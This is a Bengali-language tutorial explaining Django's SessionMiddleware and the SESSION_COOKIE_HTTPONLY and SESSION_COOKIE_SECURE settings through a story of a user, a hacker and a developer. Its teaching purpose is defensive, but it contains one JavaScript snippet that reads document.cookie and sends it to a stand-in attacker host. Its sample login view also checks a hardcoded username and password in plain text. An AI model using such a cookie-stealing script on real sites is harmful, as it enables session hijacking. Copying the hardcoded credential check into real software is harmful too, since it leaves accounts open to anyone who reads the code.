৫. Django এর ডিফল্ট SessionMiddleware কি এবং কিভাবে কাজ করে

সেশন কীভাবে কাজ করে?

Django তে সেশন ব্যবস্থাপনা সেশন কুকির মাধ্যমে সম্পন্ন হয়। যখন একটি ব্যবহারকারী লগইন করে, Django একটি ইউনিক সেশন আইডি তৈরি করে এবং এটি সার্ভারে সেভ রাখে। ব্যবহারকারীর ব্রাউজারে একটি কুকি হিসেবে এই সেশন আইডি পাঠানো হয়, যা প্রতিটি রিকোয়েস্টে Django কে ব্যবহারকারীর তথ্য রিট্রিভ করতে সাহায্য করে।

SessionMiddleware ডিফল্টভাবেই Django তে সক্রিয় থাকে। এটি settings.py এর MIDDLEWARE লিস্টে যুক্ত থাকে:

# settings.py
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',  # সেশন পরিচালনা
    'django.middleware.common.CommonMiddleware',
    # অন্যান্য middleware
]

Django ডিফল্টভাবে SessionMiddleware সরবরাহ করে, যা সেশন পরিচালনার জন্য একটি শক্তিশালী ভিত্তি তৈরি করে। তবে এই সেশন সুরক্ষার সেটিংসগুলো ডিফল্টভাবে সম্পূর্ণ নিরাপদ নয়, এবং সেগুলো আমাদের নিজস্ব প্রয়োজন অনুযায়ী কনফিগার করা প্রয়োজন।

কেন Django SessionMiddleware ডিফল্টভাবে সমস্ত সিকিউরিটি সেটিংস এনাবল করে না?

১. বিভিন্ন সিকিউরিটি প্রয়োজনীয়তা: Django বিভিন্ন ধরণের অ্যাপ্লিকেশনের জন্য ব্যবহৃত হয়—কিছু অ্যাপ্লিকেশন শুধুমাত্র আভ্যন্তরীণ ব্যবহারের জন্য, আবার কিছু অ্যাপ্লিকেশন জনসাধারণের জন্য উন্মুক্ত। সবার জন্য একই সিকিউরিটি সেটিং প্রয়োগ করা বাস্তবসম্মত নয়।

২. পরিবেশের প্রয়োজনীয়তা: সেশন সুরক্ষা সেটিংস যেমন SESSION_COOKIE_SECURE শুধুমাত্র HTTPS সংযোগের জন্য প্রযোজ্য। যেসব ডেভেলপাররা ডেভেলপমেন্ট এনভায়রনমেন্টে কাজ করছেন, সেখানে HTTPS নাও থাকতে পারে, তাই ডিফল্টভাবে এটি নিষ্ক্রিয় রাখা হয়েছে।

৩. কাস্টমাইজেশন এবং কনফিগারেবিলিটি: Django এমনভাবে ডিজাইন করা হয়েছে যাতে ডেভেলপাররা তাদের অ্যাপ্লিকেশনের সিকিউরিটি চাহিদা অনুযায়ী সেশন সেটিংস কাস্টমাইজ করতে পারেন। সব ডিফল্টভাবে এনাবল করলে ডেভেলপারদের নিজস্ব প্রয়োজন অনুযায়ী কনফিগারেশন পরিবর্তন করার স্বাধীনতা কমে যাবে।

প্রেক্ষাপট: ব্যবহারকারী, হ্যাকার এবং ডেভেলপারের গল্প

গল্পের চরিত্র:

• সোহেল: একজন ব্যবহারকারী, যিনি একটি ওয়েবসাইটে লগইন করেন এবং তার অ্যাকাউন্টে ব্যক্তিগত তথ্য রাখতে চান।
• তানভীর: একজন হ্যাকার, যার উদ্দেশ্য সোহেলের সেশনের নিয়ন্ত্রণ নেওয়া।
• নুসরাত: ডেভেলপার, যিনি ওয়েবসাইটটি তৈরি করেছেন এবং এর সেশন সুরক্ষার দায়িত্বে আছেন।

গল্প:

সোহেল একটি অনলাইন ব্যাংকিং সাইটে লগইন করলেন। যখন তিনি লগইন করেন, তখন Django তার জন্য একটি সেশন তৈরি করে এবং একটি ইউনিক সেশন আইডি পাঠায়। এই সেশন আইডি কুকির মাধ্যমে সংরক্ষিত হয়, যা সাইটে তার অ্যাক্টিভিটি ট্র্যাক করে। এদিকে, তানভীর সুযোগ খুঁজছেন সোহেলের সেশন কুকি চুরি করার, যাতে তিনি সোহেলের সাইটে প্রবেশ করতে পারেন। এই ধরনের আক্রমণ থেকে রক্ষা পেতে, নুসরাত সেশন সুরক্ষার জন্য SESSION_COOKIE_HTTPONLY এবং SESSION_COOKIE_SECURE সেটিংস ব্যবহার করছেন।

SESSION_COOKIE_HTTPONLY = True এবং SESSION_COOKIE_SECURE = True এই দুইটি সেটিং Django-তে সেশনের সুরক্ষা বাড়ানোর জন্য ব্যবহৃত হয়। আসুন এগুলোর কার্যকারিতা এবং উদাহরণ দিয়ে বুঝি, যেখানে একজন ব্যবহারকারী এবং হ্যাকার উভয়ই উপস্থিত আছেন।

উদাহরণ:

ধরি, সোহেল একটি ব্যাংকিং ওয়েবসাইটে লগইন করল, এবং সাইটটি তাকে একটি সেশন কুকি পাঠাল, যাতে সোহেলের লগইন তথ্য সুরক্ষিত থাকে। এই কুকির সাহায্যে Django তাকে ট্র্যাক করে এবং পরবর্তী রিকোয়েস্টগুলোতে তাকে অটোমেটিক্যালি লগইন অবস্থায় রাখে।

সমস্যাটি কী?

যদি SESSION_COOKIE_HTTPONLY = True না থাকে, তাহলে যে কেউ ব্রাউজারের কনসোলে বা স্ক্রিপ্টের মাধ্যমে সেশন কুকি পড়তে পারবে। উদাহরণস্বরূপ, যদি সোহেল কোনো অনিরাপদ সাইট ভিজিট করে যেখানে JavaScript ইনজেকশন রয়েছে, তাহলে সেই স্ক্রিপ্টটি সোহেলের সেশন কুকি চুরি করতে পারে।

হ্যাকিং উদাহরণ:

// যদি HttpOnly না থাকে, তাহলে এই কোডটি সেশন কুকি চুরি করতে পারে
let sessionCookie = document.cookie;  // চুরি করা কুকি
fetch('http://malicious-site.com/steal-cookie', {
    method: 'POST',
    body: JSON.stringify({ cookie: sessionCookie }),
    headers: { 'Content-Type': 'application/json' }
});

এই স্ক্রিপ্টটি সেশন কুকি চুরি করে একটি হ্যাকার সার্ভারে পাঠাতে পারে। সেশন কুকি চুরি করে হ্যাকার সোহেলের অ্যাকাউন্টে প্রবেশ করতে পারে।

SESSION_COOKIE_HTTPONLY এর উপকারিতা

SESSION_COOKIE_HTTPONLY = True সেট করলে JavaScript কোডের মাধ্যমে কুকি পড়া যাবে না। এটি অ্যাপ্লিকেশনটিকে XSS (Cross-Site Scripting) আক্রমণ থেকে রক্ষা করে, কারণ হ্যাকার আর সেশনে সরাসরি অ্যাক্সেস করতে পারে না।

২. SESSION_COOKIE_SECURE = True

এই সেটিংটি নিশ্চিত করে যে সেশন কুকি শুধুমাত্র HTTPS এর মাধ্যমে পাঠানো হবে। অর্থাৎ, শুধুমাত্র নিরাপদ এবং এনক্রিপ্টেড সংযোগের মাধ্যমেই কুকিটি ব্রাউজার এবং সার্ভারের মধ্যে আদান-প্রদান হবে।

উদাহরণ:

সোহেল তার ব্যাংকিং সাইটে লগইন করেছে। এই লগইন প্রক্রিয়ায় সেশনের তথ্য ব্রাউজার এবং সার্ভারের মধ্যে আদান-প্রদান হয়। যদি সাইটটি HTTP-এর মাধ্যমে চলে, তাহলে তথ্যগুলো এনক্রিপ্টেড হয় না, এবং যেকোনো নেটওয়ার্কে থাকা ম্যালিশিয়াস ব্যবহারকারী সেই তথ্যগুলো দেখতে পারে।

যদি সেশন কুকিটি HTTPS ছাড়া পাঠানো হয়, তাহলে ম্যান-ইন-দ্য-মিডল (MitM) আক্রমণের ঝুঁকি থাকে। হ্যাকার যেকোনো পাবলিক নেটওয়ার্কে ব্যবহারকারীর HTTP ট্রাফিক ম্যানিপুলেট করে সেশন কুকি চুরি করতে পারে।

হ্যাকিং উদাহরণ: তানভীর (হ্যাকার) একটি পাবলিক Wi-Fi নেটওয়ার্ক ব্যবহার করে। যদি সোহেল HTTP সাইটে লগইন করে এবং SESSION_COOKIE_SECURE = True সেট করা না থাকে, তাহলে তানভীর সহজেই তার ট্রাফিক ইন্টারসেপ্ট করতে পারে এবং তার সেশন কুকি সংগ্রহ করতে পারে।

SESSION_COOKIE_SECURE এর উপকারিতা

SESSION_COOKIE_SECURE = True সেট করলে কুকি শুধুমাত্র HTTPS এর মাধ্যমে পাঠানো হবে। এটি নিশ্চিত করে যে সেশন ডেটা এনক্রিপ্টেড এবং নিরাপদ থাকে, যা MitM আক্রমণ থেকে রক্ষা করতে সহায়ক।

বাস্তব উদাহরণ কোডে প্রয়োগ

Step 1: সুরক্ষা সেটিং কনফিগার করা

# settings.py
SESSION_COOKIE_HTTPONLY = True  # কুকি শুধু সার্ভার সাইডে অ্যাক্সেসযোগ্য
SESSION_COOKIE_SECURE = True  # কুকি শুধুমাত্র HTTPS এর মাধ্যমে পাঠানো যাবে

Step 2: সেশন তৈরি করা

from django.shortcuts import render, redirect

def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        
        if username == "sohel" and password == "password123":
            request.session['user_id'] = username  # সেশন তৈরি
            return redirect('home')
    return render(request, 'login.html')

Step 3: সেশন চেক করা

from django.shortcuts import render, redirect

def home_view(request):
    user_id = request.session.get('user_id')
    if user_id:
        return render(request, 'home.html', {'user': user_id})
    else:
        return redirect('login')

Session Security Best Practices

১. SESSION_COOKIE_AGE: সেশন মেয়াদ সীমিত করতে SESSION_COOKIE_AGE ব্যবহার করুন।

# settings.py
SESSION_COOKIE_AGE = 1200  # সেশন ২০ মিনিট পর মেয়াদ শেষ হবে

২. SESSION_EXPIRE_AT_BROWSER_CLOSE: ব্রাউজার বন্ধ হলে সেশন শেষ করতে SESSION_EXPIRE_AT_BROWSER_CLOSE ব্যবহার করুন।

# settings.py
SESSION_EXPIRE_AT_BROWSER_CLOSE = True  # ব্রাউজার বন্ধ হলে সেশন শেষ

এইভাবে, SESSION_COOKIE_HTTPONLY = True এবং SESSION_COOKIE_SECURE = True সেটিংসের মাধ্যমে Django তে সেশন সুরক্ষা নিশ্চিত করা যায়। এটি সেশন হাইজ্যাকিং এবং XSS আক্রমণ থেকে ব্যবহারকারীর তথ্য সুরক্ষিত রাখতে সাহায্য করে।